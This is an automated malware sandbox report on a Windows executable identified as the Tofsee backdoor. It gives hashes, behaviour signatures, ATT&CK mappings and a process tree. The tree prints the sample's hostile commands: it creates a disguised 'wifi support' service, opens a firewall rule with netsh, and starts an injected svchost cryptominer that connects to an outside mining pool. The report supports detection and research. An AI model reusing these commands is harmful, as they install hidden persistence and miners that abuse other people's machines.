Overview

overview

10

Static

static

3ad64df00a...1c.exe

windows7_x64

10

3ad64df00a...1c.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    15-11-2020 23:16

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c.exe

  • Size

    13.7MB

  • MD5

    dc79c526ee5281646de2e4c87c05cf3f

  • SHA1

    e4bb9d69c62f981917d920d82d7522baaa5ebbb1

  • SHA256

    3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c

  • SHA512

    246dc3cf352cdfa45398e461d3e3a48546aba9fc8381c464b0174ad1bb37fb5814e63ad89635a112fa718cbb3966f214c05774a5ca2cdd8bba26c9facf1bb5b2

Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c.exe
    "C:\Users\Admin\AppData\Local\Temp\3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:300
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uycwaidi\
      2⤵
        PID:1860
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\egbsjdkd.exe" C:\Windows\SysWOW64\uycwaidi\
        2⤵
          PID:1992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uycwaidi binPath= "C:\Windows\SysWOW64\uycwaidi\egbsjdkd.exe /d\"C:\Users\Admin\AppData\Local\Temp\3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1796
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description uycwaidi "wifi internet conection"
            2⤵
              PID:804
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start uycwaidi
              2⤵
                PID:1280
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1760
            • C:\Windows\SysWOW64\uycwaidi\egbsjdkd.exe
              C:\Windows\SysWOW64\uycwaidi\egbsjdkd.exe /d"C:\Users\Admin\AppData\Local\Temp\3ad64df00abee547d055fb8b837633ad54f9bb5c91f1823e9f08d490b2fa791c.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1556
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1708
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1700

            Network

            MITRE ATT&CK Matrix ATT&CK v6

            Initial Access

            Execution

            Persistence

            New Service

            1
            T1050

            Modify Existing Service

            2
            T1031

            Registry Run Keys / Startup Folder

            1
            T1060

            Privilege Escalation

            New Service

            1
            T1050

            Defense Evasion

            Disabling Security Tools

            1
            T1089

            Modify Registry

            3
            T1112

            Credential Access

            Discovery

            Lateral Movement

            Collection

            Exfiltration

            Command and Control

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\egbsjdkd.exe
              MD5

              297992c244bc6e3cffdd038f2a9dcafd

              SHA1

              90a74de437832b035e52a6235d93240d47fc2034

              SHA256

              acf8f08ed6c2a0de876f22b46857d11d135fd54d05e53c90e22f714e789d3450

              SHA512

              2e0e173a879a5342a026c8c60dac847b6f6984ddecbab158df2e34817c3c6d8004298fbdebeb66eee5c0e83cc43bc06f025412d979104c3a3a51f8f7132a541c

              Download Submit
            • C:\Windows\SysWOW64\uycwaidi\egbsjdkd.exe
              MD5

              297992c244bc6e3cffdd038f2a9dcafd

              SHA1

              90a74de437832b035e52a6235d93240d47fc2034

              SHA256

              acf8f08ed6c2a0de876f22b46857d11d135fd54d05e53c90e22f714e789d3450

              SHA512

              2e0e173a879a5342a026c8c60dac847b6f6984ddecbab158df2e34817c3c6d8004298fbdebeb66eee5c0e83cc43bc06f025412d979104c3a3a51f8f7132a541c

              Download Submit
            • memory/804-4-0x0000000000000000-mapping.dmp
              Download
            • memory/1280-5-0x0000000000000000-mapping.dmp
              Download
            • memory/1700-20-0x000000000011259C-mapping.dmp
              Download
            • memory/1700-18-0x0000000000080000-0x0000000000171000-memory.dmp
              Filesize

              964KB

              Download
            • memory/1700-17-0x0000000000080000-0x0000000000171000-memory.dmp
              Filesize

              964KB

              Download
            • memory/1708-9-0x0000000000089A6B-mapping.dmp
              Download
            • memory/1708-8-0x0000000000080000-0x0000000000095000-memory.dmp
              Filesize

              84KB

              Download
            • memory/1708-11-0x0000000001D70000-0x0000000001F7F000-memory.dmp
              Filesize

              2.1MB

              Download
            • memory/1708-12-0x0000000000110000-0x0000000000116000-memory.dmp
              Filesize

              24KB

              Download
            • memory/1708-13-0x0000000000150000-0x0000000000160000-memory.dmp
              Filesize

              64KB

              Download
            • memory/1708-14-0x0000000000160000-0x0000000000165000-memory.dmp
              Filesize

              20KB

              Download
            • memory/1708-15-0x0000000005930000-0x0000000005D3B000-memory.dmp
              Filesize

              4.0MB

              Download
            • memory/1708-16-0x0000000000170000-0x0000000000177000-memory.dmp
              Filesize

              28KB

              Download
            • memory/1760-6-0x0000000000000000-mapping.dmp
              Download
            • memory/1796-3-0x0000000000000000-mapping.dmp
              Download
            • memory/1860-0-0x0000000000000000-mapping.dmp
              Download
            • memory/1992-1-0x0000000000000000-mapping.dmp
              Download